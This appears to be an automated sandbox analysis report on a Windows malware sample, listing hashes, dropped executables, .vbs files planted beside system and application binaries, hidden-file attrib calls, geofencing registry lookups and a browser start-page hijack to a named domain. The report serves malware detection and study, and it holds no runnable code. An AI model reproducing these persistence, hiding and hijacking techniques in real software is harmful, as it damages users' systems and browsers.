81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e

Analysis

max time kernel
93s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
19/09/2022, 05:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
Size

498KB
MD5

bf7a015db3f886fa52cb9bb317b05872
SHA1

a2e40225fb1be410c640269df6099d5bff1598b5
SHA256

81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e
SHA512

cc718273de3c9124a1585d6d495db64d6d503101178b1665a4898a9a5b8a1111fd45cf216b0a12a1af970ef6707dcb413e60359ad54c726f90fa92b623a5480e
SSDEEP

6144:I6rCnplOxq8VxTfFDbRnOTrt5JGXfEdyCwaeVEuClROTfFDbRnOTrt5JOTfFDbRW:IVbG5OcqyCwrVEum+5Oi5OV

Score

8^/10

evasion

Malware Config

Signatures

Executes dropped EXE 5 IoCs

pid	Process
340	adminlog.exe
2980	syslog.exe
2136	setup.exe.exe
1164	youbei.exe.exe
2656	f42r.exe

Sets file to hidden 1 TTPs 4 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
3944	attrib.exe
3504	attrib.exe
4448	attrib.exe
2284	attrib.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	youbei.exe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	adminlog.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops file in System32 directory 49 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\odbcad32.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\msinfo32.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\taskmgr.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\Control.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\SnippingTool.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\WFS.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\cleanmgr.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\Control.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\mstsc.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\msconfig.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\notepad.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\perfmon.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell_ISE.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\osk.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\SnippingTool.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\msconfig.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell_ISE.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\magnify.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\iscsicpl.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\MdSched.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\msinfo32.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\cmd.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\quickassist.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\psr.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\dfrgui.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\iscsicpl.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\RecoveryDrive.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\taskmgr.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\magnify.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\osk.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\mspaint.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\quickassist.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\MdSched.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\RecoveryDrive.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\narrator.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\cmd.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\mstsc.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\psr.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\dfrgui.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\perfmon.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\odbcad32.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\narrator.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\control.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\notepad.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\SysWOW64\mspaint.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\WFS.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\SysWOW64\cleanmgr.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Kingsoft\myfile\__tmp_rar_sfx_access_check_240590906	adminlog.exe
File created	C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\starts.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\Common Files\360Safe.exe	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\open.vbs	adminlog.exe
File created	C:\Program Files (x86)\Java\jre1.8.0_66\bin\javacpl.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files (x86)\Common Files\Microsoft\AppVLP.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files (x86)\C35FD.exe	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\tool.cmd	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\fav.cmd	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\tool.cmd	attrib.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\open.vbs	attrib.exe
File created	C:\PROGRA~2\WINDOW~4\wmplayer.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files\Kingsoft\myfile\open.vbs	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\fav.vbs	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\淘宝购物.url	adminlog.exe
File created	C:\Program Files (x86)\Common Files\Microsoft\EXCEL.EXE.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\Microsoft\bot.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft\SETLANG.EXE.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\se.vbs	adminlog.exe
File created	C:\Program Files (x86)\Common Files\Microsoft\javacpl.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files (x86)\Common Files\Microsoft\SETLANG.EXE.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files (x86)\Common Files\Microsoft\msoev.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files\Kingsoft\myfile\360.cmd	adminlog.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files (x86)\Common Files\Microsoft\WINWORD.EXE.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\mip.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files\winrar\tao2.ico	cmd.exe
File created	C:\PROGRA~1\VideoLAN\VLC\vlc.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files\Kingsoft\myfile\Internet Expl0rer.lnk	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\Microsoft\bot.vbs	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\tao2.ico	adminlog.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft\WINWORD.EXE.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\PROGRA~1\7-Zip\7zFM.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files\Windows NT\se.vbs	cmd.exe
File created	C:\Program Files (x86)\C35FD.exe	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files\Kingsoft\myfile\starts.vbs	adminlog.exe
File created	C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft\msoev.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files (x86)\Common Files\Microsoft\jmc.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft\jmc.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files (x86)\Common Files\Microsoft\chrome.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\se1.vbs	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\网址导航.url	adminlog.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\软件下载.url	adminlog.exe
File opened for modification	C:\PROGRA~1\7-Zip\7zFM.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\PROGRA~1\MOZILL~1\firefox.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Program Files\Kingsoft\myfile\file.vbs	adminlog.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft\sapisvr.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\winrar\tao2.ico	cmd.exe
File created	C:\Program Files (x86)\Common Files\360Safe.exe	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft\chrome.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\36O安全浏览器 3.lnk	adminlog.exe
File created	C:\Program Files\Kingsoft\myfile\se1.vbs	adminlog.exe
File created	C:\Program Files\Kingsoft\myfile\fav\软件下载.url	adminlog.exe
File created	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Program Files\Windows NT\se1.vbs	cmd.exe
File created	C:\Program Files\Kingsoft\myfile\tool.cmd	adminlog.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Speech\Common\sapisvr.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File created	C:\Windows\regedit.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
File opened for modification	C:\Windows\regedit.exe.vbs	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4996	2980	WerFault.exe	136

Modifies Internet Explorer settings 1 TTPs 38 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50946918f8cbd801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30985208"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0b33e18f8cbd801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30985208"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000043e2eb2e51ccf149ab640c8bdb0d79060000000002000000000010660000000100002000000084d22d91f43bfed325a4796211172651cccbd34b70b6e059f41f10fd8efda2cb000000000e8000000002000020000000926f48011db5d0d1228815e050117de0214fad061a08be12c355377e9b1bd38120000000be334708bbd1ef0f42b4c4622540e1fc64030ab17b484ccdb8f9b5aa64cf8e524000000039b5f72d503eadb39989c8cd389fa2e5f28913c57dc32ba782b341b02d25d30cd4170d7a87c183dcd4c10618c6397118328c4d165d6b6ca7a02e10b0a086e617	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "370336878"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30985208"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "340675359"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "332394461"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{3F47617F-37EB-11ED-A0EE-7A46CE8ECE48} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Default_Page_URL = "http://www.9281.net/?cmd"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "332394461"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000043e2eb2e51ccf149ab640c8bdb0d7906000000000200000000001066000000010000200000004a73de3198c1a0e96e2dec760682159e797ff218901a06c8c106dd70477fc424000000000e80000000020000200000007405e2fe96b0fb22be5a1c2d5aeb2dd8682adbdbd811678883d4bdee23919a5f20000000fa052a1f0f38bce12ed33d80b5666801a1502594ea95abad6ec9ce1f4f6897d040000000ab34254c79c9e50efbd6ea14dfbf0ae603ce3b8d5c643621afe47135fd0c0fdfe954d00ec2643433b44c588412705403b3d6896ab87c396844b04bfeb6c76c11	iexplore.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://www.9281.net/?cmd"	reg.exe

Modifies registry class 45 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\MUIVerb = "@shdoclc.dll,-10241"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	adminlog.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32	reg.exe
